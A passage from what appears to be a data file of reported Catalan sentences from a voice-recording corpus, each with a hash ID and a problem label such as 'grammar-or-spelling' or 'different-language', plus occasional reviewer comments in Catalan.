ser un fracàs de la crítica i de la taquilla. 2887a6da6135d2c938216974d42b3ccf2a15d0115a354d0dd441054ac00f4753 ca grammar-or-spelling Un nen intenta fer una bombolla enorme amb una anell de metall gegant. 282884a9615d847e682b0783025bcbb29f10b05635c5d0ae11d1e78ca6f80899 ca grammar-or-spelling Ho va arribar per primera vegada a l'atenció del món del tennis com a jugador junior amb èxit excepcional. 28bb24b906b9224c5a8e2927a305512973c557867d33a8afc1fa5ec929211af4 ca grammar-or-spelling És un dels principals bancs estranger que opera a Hong Kong. 28ff2bfe453e978af537ed70108480825a25939316a1c9392dbe6160c7e7f69b ca grammar-or-spelling Hi ha una església catòlica romana, un d'anglicana i una petita mesquita. 294a22ee82fd0a87b1c3e24aa78e10d50cce624750adc58a1cf6f214a67bbbec ca grammar-or-spelling Speransky i l'emperador van comentari decidir totes les preocupacions. 2926b7c5ec28837ef4a1621cba962fe0d8e69951c0bbf4a1ce58185c6fb6ed9a ca grammar-or-spelling És un dels principals bancs estranger que opera a Hong Kong. 28ff2bfe453e978af537ed70108480825a25939316a1c9392dbe6160c7e7f69b ca grammar-or-spelling Lewis es va assabentar per primer dels rosacreus pel seu interès pels fenòmens paranormals. 2990f06397a27c20d593ddd1a022f6d89696c3441dc34c800a59fa306abc5fae ca grammar-or-spelling La policia i paramèdics a Mèxic ajudar amb un accident d'automòbil. 28bf76fce93fc17748fb9d09a6d460a1b0ecdcc9fd72095bdd7625a55bbbfe2e ca grammar-or-spelling La policia i paramèdics a Mèxic ajudar amb un accident d'automòbil. 28bf76fce93fc17748fb9d09a6d460a1b0ecdcc9fd72095bdd7625a55bbbfe2e ca grammar-or-spelling Estem obligats a continuar final dos mil vint-i-u. 29c1525403f0d022081554b0e0e0f59701c72059c39231ad3d62120ce7267508 ca grammar-or-spelling Lincoln City té un diari semanal, "The News Guard". 2a48e08da2897d6865480fecb91df21060ff726ee802ccc2530a9d826d4cb1b9 ca grammar-or-spelling "Wassa madda wit you, hat? 2a470b50169d0c4d5a6aa7b8703503fc5791c80e7d93e3ada081980ba3691e93 ca different-language Un home amb fatiga de l'exèrcit és caminar amb el seu gos 2ac0b97183f29d428cc32888199d82dd1e82272006ddb63ea5bc9cd4cea3473b ca grammar-or-spelling La companyia es considera una nouvinguda al terreny de l'inversió immobiliària. 2a6f561ae37a2afa4870318240569436a2c33b0f7ec71bbdfad98dff48dac734 ca grammar-or-spelling Va ser ben rebuda i va implementar del gener al setembre. 2af870c7d814e15c87f753283f22fc5cae688e981da3bbeb4621dc106557c4a9 ca grammar-or-spelling "Wassa madda wit you, hat? 2a470b50169d0c4d5a6aa7b8703503fc5791c80e7d93e3ada081980ba3691e93 ca different-language Una índia asseguda al terra d'una habitació amb el sol que brilla a l'esquena i porta una samarreta negra, un mocador vermell i fa fils enter els seus dits 2b2d72b26921e76f9a48e2156374e8593da876c1214db8603595e42fdc9a6bcd ca grammar-or-spelling Una índia asseguda al terra d'una habitació amb el sol que brilla a l'esquena i porta una samarreta negra, un mocador vermell i fa fils enter els seus dits 2b2d72b26921e76f9a48e2156374e8593da876c1214db8603595e42fdc9a6bcd ca grammar-or-spelling Són dolços i se serveixen per esmorzar o de postres. 2adc1a0f70ec5c8fb5eecd64342b3395f6de9205065326dd6bd37e5652384e7b ca grammar-or-spelling Un home amb mirada determinada en el seu rostre sosté un petit martell de fusta mentre usa un pitet amb un cranc vermell i a la seva mà té un crustaci vermell mentre un altre home està assegut i sosté una mica de menjar darrere d'ell 2b115b6b4687579400b5c09e4d732e4625226faba370043f5c869f93b98d85bb ca Informa d'enregistrament massa llarg , tot i que el llegeixis lo suficient depresa per entendre's A vegades també es coneixem com gràfics triangulats o gràfics de circuit rígid. 2a65554c1e93671bb363aea33ea6bab9349ad3ea293c39338097a32caa8fe29a ca grammar-or-spelling "Wassa madda wit you, hat? 2a470b50169d0c4d5a6aa7b8703503fc5791c80e7d93e3ada081980ba3691e93 ca different-language Els pobles es van desenvolupar lentament; els vends depenien pràcticament de l'agricultura. 2b554603fe0c29d20d4e45705f110d1c6e646b14f091f8693a11c635138273b5 ca grammar-or-spelling "Wassa madda wit you, hat? 2a470b50169d0c4d5a6aa7b8703503fc5791c80e7d93e3ada081980ba3691e93 ca different-language Afegeix aquest àlbum de C J Chenier a la meva llista de reproducció This is no te va gustar. 2be58e7dc797f0c2e43ae17c73cd8feb0c958080c7a4de185c01a3caaabcabab ca grammar-or-spelling En M. King Hubbert, per exemple, considerava que n'Scott tenia molts coneixements de física. 2c4f0422333bc6f85442123660e0d5809fa520535256e978fff8a22c5301595f ca difficult-pronounce Aquests curtmetratges van substituir gradualment l"entreteniment en viu que solien acompanyar les projeccions a les sales e cinema. 2cc8f0baba65386d8b2edc2be5f701c8bccb53b033c75da99fd9095a5189054f ca grammar-or-spelling En menys d'un any, la banda es a separar. 2d009797a35beb774156d17fccd2d51666bda5ff4a35bedb020b2c5cc53b35ae ca grammar-or-spelling Tots els sequaços de Big Jack es van arrodonir i acusat d'assassinat. 2cfc31331e648fa83c42d6cab6a8dbaf11a0987dd86c7245af6344337497de54 ca grammar-or-spelling És bastant freqüent a la mitat sud de la Gran Bretanya. 2cc0d61d31553636cb1788ffe50243f2b0616b71d2f58f1dca4a6e5d0a3879b0 ca grammar-or-spelling Vaig toca la bateria amb els Negative Adjectives. 2cab13bc6f0fb39f1f9be8f57471e8bc2739220b94e8da745cd5b573fa0a2339 ca grammar-or-spelling El túnel fins i tot tenia les seva pròpia llum elèctrica, extreta de l'alimentació de corrent. 2d41b398243a0973103fcd63e22fcbe66f0b1994497990246554c6f8420f148e ca grammar-or-spelling El seu nom prové de la paraula llatina "aerugo", que vol dir "oxidació del cobre". 2da17fea29b7ef8320599304ef137ae9d2340eff6ee94be368fd983d5c1bede1 ca grammar-or-spelling El noi va seguir escoltar-se el cor metre creuaven el desert. 2dfdc95ec1dc9daa57dc94ac315f68614a281d7610a93e945634d7216d9c6c87 ca grammar-or-spelling Cobreix les principals notícies nacionals i internacionals, a més de l'estil de vida de les famosos. 2d70a88165d44a92c06e1d92685feccf88a766a4d7c2009473bfd7e004903922 ca grammar-or-spelling Els pobles es van desenvolupar lentament; els vends depenien pràcticament de l'agricultura. 2b554603fe0c29d20d4e45705f110d1c6e646b14f091f8693a11c635138273b5 ca Vend no existeix en català El color és gris, blanc o groc. 2e00328d3317871eb982997ff2322806405667bd2519abe2cf4ff95a1324f8bf ca El túnel fins i tot tenia "LA" seva pròpia llum elèctrica, extreta de l'alimentació de corrent. Entre les branques de la granja més petites hi ha un hort de palmeres i una fabrica de galls dindi. 2ce76a502d705f16fa3858ae6ebb7f9423d7d27fda3bf50e5320dedd6b57f944 ca Entre les branques de la granja més petites hi ha un hort de palmeres i una fabrica de galls dindi. ESTÀ MAL EXPRESSAT: Entre les branques més petites de la granja, hi ha un hort, palmeres i una fàbrica (no conec fàbriques de galls d'indi, ja que són anim Jo mateix obriré la porta de cotxe i sortiràs. 2dac5d653daa0c0e3970891615e4a9dc730096bcc04c1e1278c8895c04c5c3c5 ca grammar-or-spelling Jo és un ex-gàngster envellit que fa poc es va trobar atrapat a la ciutat. 2d1c256ae63d38e233f60f8c616a969171396b4985cb9470b3e9b3480c5a4496 ca grammar-or-spelling Estava intrigar pels pesos atòmics i l'aparició periòdica de propietats químiques. 2e1884e9c3a3991bc0f4074f57c43f3382fd44f7091eff1d842872f5124668b8 ca grammar-or-spelling A causa de l'huracà Katrina, la seva darrera missió es va acurtar. 2e5d1755feaffabba20a3d68b86a20b15c0a697a6abf0e3bbfad0497fada5f65 ca A causa de l'huracà Katrina, la seva darrera missió es va (acurtar). A causa de l'huracà Katrina, la seva darrera missió es va escurçar Williams va ser el primer membre del gabinet presidencial en ser assignat des de la Costa Pacífica. 2e3624a254a4d339690e09bc5ced7c73981dbac9a1f4433d6845477f8525f0bf ca Williams va ser el primer membre del gabinet presidencial en ser assignat des de la (Costa Pacífica). Nosaltres diem: Williams va ser el primer membre del gabinet presidencial en ser assignat des de la Costa del Pacífic. "Clinical Legal Education and Legal Aid: The Canadian Experience." 2e4e161348a1b803abf45dbfa2d774d1d4aeb757f1e5c350201ce1d9a1dc5d4a ca different-language Va ser ferit en l'estómac i en l'espatlla. 2eabf3c34af77d32f9be902af6c4870d8f12235ac84d17766538bd3409c00afa ca En cata là no es fa servir " ferit en" és "ferit a" Paterson i Weston van escriure el seu següent senzill, "Blue Room". 2eefda8eb425777e7c83be2f4d9885831826f219e0e1d88a35e31f05b1d41f18 ca operador és masculí, per tan "és un dels operadors" Les seves restes van ser enterrades en el cementiri de Westchester Hills, en Hastings-on-Hudson, Nova York. 2ed77f84977943c9a16e4a4ce1b96fce83e6b0c86233176bea01d1beba68c297 ca Es diu a Hasti.. no en Hasti... Cinc persones en bicicleta pel mig del tràfic i un home que mira des d'una costat del carrer. 2ee334001e20a1eea878374a3f606c45f6aa05cb61c3ee46776984aa304ccecc ca grammar-or-spelling Cobreix les principals notícies nacionals i internacionals, a més de l'estil de vida de les famosos. 2d70a88165d44a92c06e1d92685feccf88a766a4d7c2009473bfd7e004903922 ca dels famosos no - de les famosos Afegeix Love and Its Opposite a la meva llista de reproducció Alta Frecuencia. 2e90066e23ca769e764edb417e865d4ac07ecc55315b9d23dde402b8f6419a86 ca Alta Frecuencia, en català és: alta freqüència Vaig toca la bateria amb els Negative Adjectives. 2cab13bc6f0fb39f1f9be8f57471e8bc2739220b94e8da745cd5b573fa0a2339 ca Vaig toca - no és correcte En català: Vaig tocar Més abaix es mostren els casos de prova per parells generats per l'eina PICT. 2f2f80fbce1b6523897cd75c5e20c09e217f111fda13d3d35bc632380cfdbcc0 ca En català a baix no és correcte en aques cas. Si és correcte més avall Una dona gran en ulleres de sol es troba darrere d'un home en una camisa groga 2f69d3b7a960b1619f14d3b22a8de9355ffd4a6cb927c2531c9e313f48628637 ca No correcte: dona en ulleres Correcte: dona amb ulleres Va ser substituït per Shavkat Mirziyoyev. 2f73df8a417198d9c8c9c88c7783f4d034dae70e8b96aa76608544ac244deba8 ca No crec que sigui necessari posar tants noms estrangers, no crec que a Catalunya s'en faci servir tants Les seves primers feines van consistir en ser col·locador de teules, mosso de magatzem, fuster, mariner i senyalitzador. 2e334f7951a4eeb4176677f61a196f5f2206c9cd851b9307554ebe21d2757578 ca No correcte: Les seves primers feines Correcte: Les seves primeres feines Al volant del molí es va crear un poble per allotjar els seus treballadors- 2fc62232afaed91d1e77ec1a0d7adfdee9e1352adaa69a3c5c17d0f13070d85a ca grammar-or-spelling Un d'ells va ser l'estatúder-príncep Guillem V d'Orange-Nassau. 2fbf57aaf6069c763fe6212b4f5dbfb461eb76c4cfe009ddcbfa60f45a7f911f ca grammar-or-spelling Des de llavors s'ha traslladat a només si punt com. 2fe1be16503d360a90ef053d7a5aefccb964e94b20153743e60cffa1ef61d829 ca grammar-or-spelling Bagnor Manor és una casa de camp situada a pro del centre del poble. 300f379d3b1c57808c02531374952d96fb621a4d23343a3ec48e321e21cd407c ca grammar-or-spelling Forever and a Day 304ebcaa3f7bd4640e800e8a219c01a103c98dbd3698f40fd16bb9b1583207a6 ca different-language E cap d'entrenadors Romeo Crennel es va unir a Pioli. 3003f956f671b22900817a2f33028d1e185a3539459831dcbca96b943ba8360a ca grammar-or-spelling Por després la dictadura va dissoldre el parlament, prohibir els partits polítics i instituir la censura. 30096a277dec8a6e6c1a33cbda3074708c9ff47c262a6d3fc0a7a3952adb6861 ca grammar-or-spelling És levorotatori, i en escalfar-lo amb àlcalis s'obté isoecgonina, que és dextrorotatòria. 30d336f5b15cacd0c91e70a93036bb25eeed2eb983d5d4832c92672d84d21cc0 ca different-language És levorotatori, i en escalfar-lo amb àlcalis s'obté isoecgonina, que és dextrorotatòria. 30d336f5b15cacd0c91e70a93036bb25eeed2eb983d5d4832c92672d84d21cc0 ca difficult-pronounce El Vc tenia nombroses millores quant al Spitfire Vb. 3073e4b95e267a3fc187b5949d7d8aa08ad823a61bb4441794005ea454032394 ca grammar-or-spelling Els espais uniformes generalitzen els espais mètrics i els grups topològics i per això suportant gran part de l'anàlisi. 30fe6cf97d6dc9c49315b71e23731c9de04779211758c4a77d761c13443dff15 ca grammar-or-spelling Els espais uniformes generalitzen els espais mètrics i els grups topològics i per això suportant gran part de l'anàlisi. 30fe6cf97d6dc9c49315b71e23731c9de04779211758c4a77d761c13443dff15 ca Mal escrit i mal redactat Durant moltíssims anys el castell va quedar casi totalment oblidat pel poble. 311a77b32789fa38f87679135334c59aaa0263af947049e9026190d710bd793e ca grammar-or-spelling El patit es va transformar en l'organització de la resistència anomenada Front Marx-Lenin-Luxemburg. 316deb368a096c9ec2fc93672a32db20e3c6f8c9745f668f4f156846ef82e660 ca grammar-or-spelling En aquest període els residents s'unien i creaven diverses organitzacions salvament. 3126931f9db2f3480e2865e2961f55e645facff580502ee9400e43a52f7ea019 ca grammar-or-spelling La metralladora també estava fabricada a Bulgària, India, Iugoslava i Polònia. 310c8aeb8c78e8a3cb44fdee4b64068f1fa10444ef9803f58bbe6ea6315a7b5f ca Error gramatical Reprodueix Bonnie Annie de Tolmatschowa-schwestern a l'emissora last fm. 3213d3bab319f2b8354cbd2d774f26ffade3081628c5bd10e84cd61b684e928c ca different-language En pocs mesos, l"estil editorial càustic de"n Brownlow ha deixat la ciutat Elizabethton molt dividida. 3226ea24a2ed9276e48c609c7928a4c07609c956dbd9c2b546d98bc20afcc3fd ca grammar-or-spelling Les relacions a nivell local amb la indústria del petroli es van agrejar gradualment durant l'època. 3299d6bce89c0406a19b239a7aab8c3d99bcee1bec61b9782ce70a80a732ed72 ca grammar-or-spelling El és la seu del Liliputbahn, una via de ferrocarril de mida estreta. 32ed8c822d4459d997b64f53b6d372bb3d25b091a040a0e1f1e073646a2537e2 ca grammar-or-spelling Durant el viatge, Goody i Hannah conèixer a gent diferent. 329684bc9ba3d1b043eb663ede2cff75261e125df51c74cd39f114b8d16d997d ca grammar-or-spelling El controvertit pas portar a alguns delegats israelians a retirar-se. 3332b8e7b5f6fd5d7144344615fca2af5891b9e4adf4efe1bfdbadc8993a5f69 ca grammar-or-spelling Finalment, el pont es va remodelat per tenir dotze carrils de deu peus, sis en cada sentit. 334db83e1072d3d964a3a60baae6fcef7810f89c0f773ef37e741a6529972bdc ca grammar-or-spelling Només venir aquí ahir a la nit. 32f57fd636eccec24437b09886ffc01da689da51344bdc3990dd8bbb6d5251d2 ca grammar-or-spelling Boies té dislèxia i no va aprendre a llegit fins que feia tercer. 335c559f6eed19ba7fb42432c5e75579b8deda36867c597b6f17db040c476da6 ca grammar-or-spelling L"informe també acusava l"aeroport de fer un ús abusiu del ser poder monopolista. 33d62e99ad07fd0daf43e8d9fe6c8d11b25c2b2df6e6093db8a3e64aa4c060b3 ca grammar-or-spelling Acabo de fer una sesta de tarda. 33545c25deab9ebfd97b56bd86c9d17e7ceaa7b8e68ac7dd46e6404875d53330 ca grammar-or-spelling Finalment, el pont es va remodelat per tenir dotze carrils de deu peus, sis en cada sentit. 334db83e1072d3d964a3a60baae6fcef7810f89c0f773ef37e741a6529972bdc ca grammar-or-spelling Agrigent és un gran centre turístic a causa del seu llegat arqueològic extraordinàriament ric. 342ed4681a73049860cfa0bc0fa15c8c337c007901d9c695faf647664a973def ca grammar-or-spelling Boies té dislèxia i no va aprendre a llegit fins que feia tercer. 335c559f6eed19ba7fb42432c5e75579b8deda36867c597b6f17db040c476da6 ca grammar-or-spelling El festival inclou desfilades, guinguetes, exposicions històriques i la subhasta d'un terreny. 342ff2a948835cedb4856d8ba2ae6bd7e79fcbe138c1994c113958029f43cdbc ca grammar-or-spelling Es publica onze vegades l'any. 33c68ede045cba8afe89b8260aea5d960ad3d974d3bd4b9ca38fdb19f4f2cd01 ca grammar-or-spelling Un mostra clarament l'estructura física del castell original. 33cd3f04411aaa4348875eeb011b1ae8da1d4bc885291bc4ee9bcbdaeb64fc8f ca grammar-or-spelling Alguns treballen en el Institut Nacionals de Mesurament. 33fc23af69d7c5528c834e1053760be584e970f2010e706436cf1a592b979fb9 ca grammar-or-spelling El timó viking tenia era dur en els rems. 3482703de6586484151e770826d2e158eb1a41dda72d0fb000de53a315a1df85 ca grammar-or-spelling Ella se sent realment es troba malament en aquest moment i vol trucar per dir que està malalta. 34179796ae64723d46df8d60963fb447dc0c10e0311e7ded738fea7e239b53a7 ca grammar-or-spelling Dos noies en una piscina. 3544d5e6eb36bbf5ab18ba2cfb3a56397cd610893a0bff6b61f039b1aa96b867 ca grammar-or-spelling El joc no estructurar facilita la creativitat i la imaginació. 3564dce45b796a826c46fc28daf46b820f96640404bcc5f04f3083564339353f ca grammar-or-spelling La guerra al sud de Nova Anglaterra va acabar en bona part ama la mort de Metacomet. 34a5934b3f74c78893a92ec0bcc9f6826b9adeee72f598ac41821d41a164b7cb ca grammar-or-spelling Els mitjans relacionats per a la sèrie inclou videojocs, còmics, juguetes i altres productes de marxandatge. 35f7c94dfbbe7cff48b0e9b856b81bed731c95755200591a94d92d61e19fefde ca grammar-or-spelling Les temperatures altes fan que el líquid s"expandeixi, fent que el segellat dels panells sigui un problema greu. 355ef6155c08aab41d83314e93e138f8d3a20f095a25f984231ef7da08d94074 ca grammar-or-spelling Les temperatures altes fan que el líquid s"expandeixi, fent que el segellat dels panells sigui un problema greu. 355ef6155c08aab41d83314e93e138f8d3a20f095a25f984231ef7da08d94074 ca Hi ha cometes en comptes d'apòstrof. El desgel va arribar aviat i alliberar el rierol. 35e99809aa4a67515a898f370feca15edb9b721215ba896acdda64ea25cb0179 ca grammar-or-spelling El joc no estructurar facilita la creativitat i la imaginació. 3564dce45b796a826c46fc28daf46b820f96640404bcc5f04f3083564339353f ca grammar-or-spelling Les emissions del canal estan àmpliament disponibles a moltes parts del món per satèl·lit. 35fab01fb88989d954b858b988a230cc87a9f00cd84844a045ab4228e5059b86 ca Cal canviar estan per son La seva cobertura incloïa anàlisis de presentadors i convidats per ajudar els espectadors a entre els procediments jurídics. 36d619f0f309d7ec4114aba316e01a7082a08c9e6130b155ade956a766bbfe10 ca grammar-or-spelling L'altura "x" d'Impact és elevada i arriba gairebé a tres quarts de la línia majúscula. 36a72efb6080e2eb50ab94375bbd3f0bf7a1b38257e6f85285f05d47e013ede9 ca grammar-or-spelling Vaig trencar la relació i em el vaig mirar fredament. 372fc0192862ac5ed2b24205a3596f50975a5f63d4abfbd8048b73ca54b34591 ca grammar-or-spelling Mentrestant, però, l'emperador Wen s'estava enfrontant a una crisis dins la seva família. 37aa1e60883ddf3e662f08cc1e65104003b4bdfd7df0d26c99554cee2a62f10d ca grammar-or-spelling La penitència trist apareixia en cada detall. 374b57b32946d92bc8cdbf808b5b741e255b70a31c2b83499c12882ae110d53e ca grammar-or-spelling La recursió anònima principalment consisteix a cridar "la funció actual", que resultat en una recursió directa. 37649c9724f09ec11962f31ee9c421f01d6327730fa157746fa6e20e9774fb57 ca grammar-or-spelling Alguns defectes menors causen només "intolerància a l'exercici" sense capt malaltia o discapacitat seriosa. 37dae06a26e7516de28d81da3d72a99d0a0ef1c9a338dbcd7b02bdf8b0b77813 ca grammar-or-spelling Paul Alberici, Gary M Binham, Michael T Bromell. 37dc5a922d1df009eb0bb5e5b021521561cd78500e573acd82c8848469384204 ca grammar-or-spelling El camí creua el riu Longford mentre travessat Hanworth. 377f048cf6cb5ebe554849f732837df6a40dce75101c6da976cecbec104cbe34 ca grammar-or-spelling El seu para i la seva família provenien de Wenchang Hainan, a la Xina. 374a0a1cd4bf71cd22e986c01e64d9dad769bfc506cb7a65885eb8bc61f1713d ca grammar-or-spelling Els que estan destacats encara està de servei amb l'estat de "Royal Mail Ship". 3727032a119e0e8204504c43f699ea3a6197b3b34202181a4afa8b1424c59217 ca grammar-or-spelling Molts o troben massa dominant per servir-ho amb vi. 384f4ad336292e60719adfc92cd815f0d21281b6ed614f174a787179183e97ae ca grammar-or-spelling L"objectiu del joc és assimilar totes les partícules dels enemics. 37ef504841e6e3d85d880baa1992b574932283c4fde55b47f9c81400c57a73d7 ca grammar-or-spelling Molts o troben massa dominant per servir-ho amb vi. 384f4ad336292e60719adfc92cd815f0d21281b6ed614f174a787179183e97ae ca grammar-or-spelling Els que estan destacats encara està de servei amb l'estat de "Royal Mail Ship". 3727032a119e0e8204504c43f699ea3a6197b3b34202181a4afa8b1424c59217 ca grammar-or-spelling Es va convertir en un dels batedor més populars del beisbol. 3880ff77fa334e5794dead4ae3e78c7c531c2e9e3e04cf0016b15ae531d6a0ed ca grammar-or-spelling Tenia raó, per tant, la meva darrera carta no l'havia arribat mai. 39c1e4ef49fcce9920172cb845a01bf1a12e510b7e0350e3ef75c4ba3638b348 ca grammar-or-spelling Tot i que cobrava un sou alta com a comandant de les Companyies de Defensa, va acumular una riquesa inexplicable. 3988544798de89ad8c16a2a83d5c0a894f4fe37123b863befc62b9f254105327 ca grammar-or-spelling Levene intenta subornar a Williamson, oferint la meitat de les seves ventes futures. 399a8e54da23ce6e00150b0332a173370a2a30209ad3f6b1b6cdc9d5602dbc1b ca grammar-or-spelling En els Andes veneçolans, el bambuco veneçolà és una variació local del bambuco. 39cd8138d1ebb618851e6e61fcf9ec20299676b43e3f0b501852100b36ab9f41 ca grammar-or-spelling Levene intenta subornar a Williamson, oferint la meitat de les seves ventes futures. 399a8e54da23ce6e00150b0332a173370a2a30209ad3f6b1b6cdc9d5602dbc1b ca grammar-or-spelling Dues dones que porten bosses caminen junts per una vorera. 3948ac872cafd56415c6ab944b39eea2c8c5ba8d92da758621b4685fb2ef2b2b ca grammar-or-spelling Després, Caín va assassinar Abel per això. 39f5caa123a94f2be7c0eff58e9a793705200b4a4b96d326b83f9148567b64b6 ca grammar-or-spelling Dos noies envien un petó a la càmera. 39a25d703f0e9bbd0636b65f625a77331c665c16eb15e7275250293346531c4c ca grammar-or-spelling Ha estat reconeguda com una de les escoles preparatòries d'ecel·lència de la nació. 393d934392f178a7ff82f54852a227329b53dbc522eba8a4ac3c8eba2c53273b ca grammar-or-spelling La majoria de la gent del lloc encara para d'aquesta via fèrria com la "Santa Fe". 39de3a76be11f8325a058ad2782b67ad696d04d5297b070ced966df016cf16f2 ca grammar-or-spelling Totes les pistes escrites por Andy Bell i Vince Clarke. 39b17bec3c92e749247db7a3026fa5bdfbd456fcf4e6e8b0fe18c5f3aeb6460c ca grammar-or-spelling Els proper tres anys i mig eren crítics per la diplomàcia europea. 3aaf910de83620c5fd5a9c9e2594b283710b34eba57c582952bf18ef4eea16af ca grammar-or-spelling Dues dones que porten bosses caminen junts per una vorera. 3948ac872cafd56415c6ab944b39eea2c8c5ba8d92da758621b4685fb2ef2b2b ca grammar-or-spelling Clendenon, però, va decidir que volia ensenyar, i va començar a ensenyar quart grau al graduar-se. 3a5447fa7dd39e9871faeedf89051df3d952c600172f01388bf774d9213c05a9 ca grammar-or-spelling Bournemouth i posteriorment es va unir a l'comtat de Derby per a un segon encanteri. 39243fe4876cc6e41fa4d1b2a75352da39d2fadee3ce103d37b24d91dfe6d5a2 ca grammar-or-spelling Ha estat reconeguda com una de les escoles preparatòries d'ecel·lència de la nació. 393d934392f178a7ff82f54852a227329b53dbc522eba8a4ac3c8eba2c53273b ca grammar-or-spelling Dues dones que porten bosses caminen junts per una vorera. 3948ac872cafd56415c6ab944b39eea2c8c5ba8d92da758621b4685fb2ef2b2b ca grammar-or-spelling "Soc aquí," va dir el noi. 3aeaee56dbeda9af384715d9a9de747cb5e10f855cb6754c00ed7ddec5550e49 ca No funciona Només els clients Sun amb contractes d"assistència pagats tenen accés a les actualitzacions per a les noves versions del productes. 3a6b1c9a2bde679fd515c86d5ee36e6089c141f0ec85af8207dc8905f4e78255 ca grammar-or-spelling El pal del vaixell primer es va doblar i després es va trencar aproximadament per la meitat de la seva alçada. 3a292a28d53fc0f58b76ba83f0abf74f08ccedb0a3aa54cb01ead30463ee08e5 ca grammar-or-spelling Els proper tres anys i mig eren crítics per la diplomàcia europea. 3aaf910de83620c5fd5a9c9e2594b283710b34eba57c582952bf18ef4eea16af ca grammar-or-spelling A l"oest, els egipcis van arribar a la frontera de Darfur. 3a7aa0399a6c2efa1ba15b605eb686846fa29a7480b6f9f9be34ab2d93527e85 ca grammar-or-spelling Un nen viu i brillant visita les seves tietes. 3ac5509b433a2c444d1c929adc4ffb6f29d41be28ae74e90c4e9a9edb657c19a ca Incoherència La informació històrica aquí recollida s'ha tret d'un llibre sobre el passat del comtat de Pottawattamie. 3b4031e3b27bcdec9ba72e42d346bc60b11b4b9e59651414debe96dfaf7c612c ca difficult-pronounce Durant la temporada de reproducció, els mascles es converteixen en un color blau cridaner per atraure les femelles. 3b22863cfcc11d528ef4ea96a28ae41d3e74052bdafb1d8cacfbd36b93c07688 ca Temporada està fora de lloc L'entrellaçat depèn de el joc. 3b3a02ff657eec6d883432c5695a9d6bd89478075b6b3e082d0a7f2472b02922 ca grammar-or-spelling Ha estat reconeguda com una de les escoles preparatòries d'ecel·lència de la nació. 393d934392f178a7ff82f54852a227329b53dbc522eba8a4ac3c8eba2c53273b ca grammar-or-spelling Totes dues empreses són ara propietat de la mateix grup. 3b75fdb99e1f712ea7bf05c974f4b288c0a0f263d0b8ca4b68fa63f828951451 ca grammar-or-spelling El model que els Rochdale Pioneers va utilitzar és un àmbit d'estudi de l'economia cooperativa. 3b5fa39a703b466ff8da572a12b926f785cb3ae5fd7c1b7e055c7a6b4b82f9ff ca grammar-or-spelling Això s'il·lustra amb les diferències en les dos taules de "decans" que es mostren més amunt. 3a3af42e32adc341d263f435d0baeef1611138b1da8a2de1d284aedafe8320e5 ca grammar-or-spelling Sí que havia mostrar els magnetògrafs a la reunió de la Royal Astronomical Society. 39b2c195729cca38a4bc8077072a6c69112629c30ffb5069094f40c77f8e808a ca grammar-or-spelling Un home amb un barret negra ven casquets de pell russos i records en una paradeta al carrer. 3b5f976fdcf2f127d6fafd50f7a3cc1be7a7d41ae42205ad660d0cfd19dffff9 ca grammar-or-spelling Tarver en febrer. 3bc2c8d6de05e1faa1ac774108b911da99243ad6eecfc9dc717da1334f58ad4c ca No s'entén Dues dones parlen entre elles en una habitació foca mentre altra gent està dempeus. 3bd6bc3e6f17074b78134211336e5f86650bf2e20ba16909af593afe3a3cafc0 ca grammar-or-spelling Es disputen les afirmacions de que el disseny de Worthington va influir George Gilbert Scott en el seu monument de Londres. 3ccae5181354c555c9a2588b34047bc566c6fc0a508cdc6e6526a96df52146ed ca grammar-or-spelling En primer lloc, la consultoria ambiental realitza una ampli estudi 3c68834d03508fda22805712a7791875253aff93e6ea3576f61ddba993e2b94e ca grammar-or-spelling Mostra els canvis sofrits per un entorn agrícola transformat en un industrial. 3d26d401b72346fe247de30a6991652c123f10e3dcc5fa1264ba5f1ee1a314b4 ca grammar-or-spelling Veus, el mestre no ens va presentat, llavors. 3d71464f20eb003440ebcd013fbb44ced53a26471669d4b59a2080ba8c3cdd93 ca grammar-or-spelling El partit el van el Cardiff de Gales i el Tolosa de França. 3dcee60aaeb1e452d7bb681974140741b74596445277c4482f45c5e75349d054 ca grammar-or-spelling Brown va retirar els primers tres Braves als qui es enfrontar. 3f601b1d0b465de0aef61479af977a01b75d83c1e8563362d335a30acb342d36 ca grammar-or-spelling Les fulles poden arribar a de longitud. 3faccda604a1a1c364080e68f21d8fdab6121aa02392e0bbc065d84dcea5c34b ca grammar-or-spelling Alguns serveis acaben o comencen des de, i hi ha trucades extres en hores punta. 3f0731a0e2fa83d7ce4743b2478a45533b4e23e3f5fb6a47fe154e70421e217e ca grammar-or-spelling Els legisladora buscaven i actuava segons el seus consells. 40016485b9c090408e49c5c03aa8cacc5b70393970e1eb24739908f552661391 ca grammar-or-spelling Penso que el poble gos està pirat. 409b395f95a860efcb43c87f6c0b330d7f68504feb04a0f1bdc8d8fbf317f058 ca grammar-or-spelling Una dona asiàtica i sorra en un mercat amb el seus productes. 40751691b121fc762f960c43f25bf54529f53cdd82b6d18dae534102b77b79a8 ca grammar-or-spelling Ell va considerar la història política com al millor i més important tipus d'història. 3fcf7766e8bc838bdb865976db9dc62c2b03bbbb29690dab43df9c1b455ddaa4 ca grammar-or-spelling L'home d'aquesta imatge es arronsar dels seus amics sarcàstic actitud 411289d7d1a7f103a23d4f7af7a75ff66304fc770ac3bda395e7627763a35d74 ca grammar-or-spelling És la capital del comptat de Prudnik. 40d959512f5cd9acf57effdf572c9f2bb0abc60e53c2bc498003570e2a0f160d ca grammar-or-spelling La sèptima flota, ambdós amb el port de base fora de la Prefectura d'Okinawa, El Japó. 40d3744d601aed25312bbbd8b0398029f0c18c8d7d760f9ae9689723563dccb6 ca grammar-or-spelling Un treballador netejar els carrers després d'una pluja intensa. 40f23a2561d0e6c5e9cf35873efa267b96ddba0ebfce80b3d67e70ff69a89bff ca grammar-or-spelling És la capital del comptat de Prudnik. 40d959512f5cd9acf57effdf572c9f2bb0abc60e53c2bc498003570e2a0f160d ca grammar-or-spelling Tenen diverses avantatges situacionals vers una espasa. 41312471bafbec778296861c3c4244f248a4b324277fe4044ac3d4f332eabc99 ca grammar-or-spelling Per tot el poble hi podem trobar les treballs dels calderer i els puntaires. 3f22c52820acf2b5d84a8b76f696fec96d35c2bb82569694b5239c38af5036be ca grammar-or-spelling Fins fa poc, la libèl·lula també feia servir spls, però s'han reemplaçat per seccions crítiques. 416580209dde5423503e80eb40665ee4de8fc754b9916d43b70b742e13917f16 ca grammar-or-spelling Un treballador netejar els carrers després d'una pluja intensa. 40f23a2561d0e6c5e9cf35873efa267b96ddba0ebfce80b3d67e70ff69a89bff ca grammar-or-spelling El que va convertir Brasil com l'últim país al món occidental en abolir esclavitud. 41c0a8d2897a5b895536b51b33c024fdcfe5d2b450dd71ece18f739fcbf25109 ca grammar-or-spelling Per 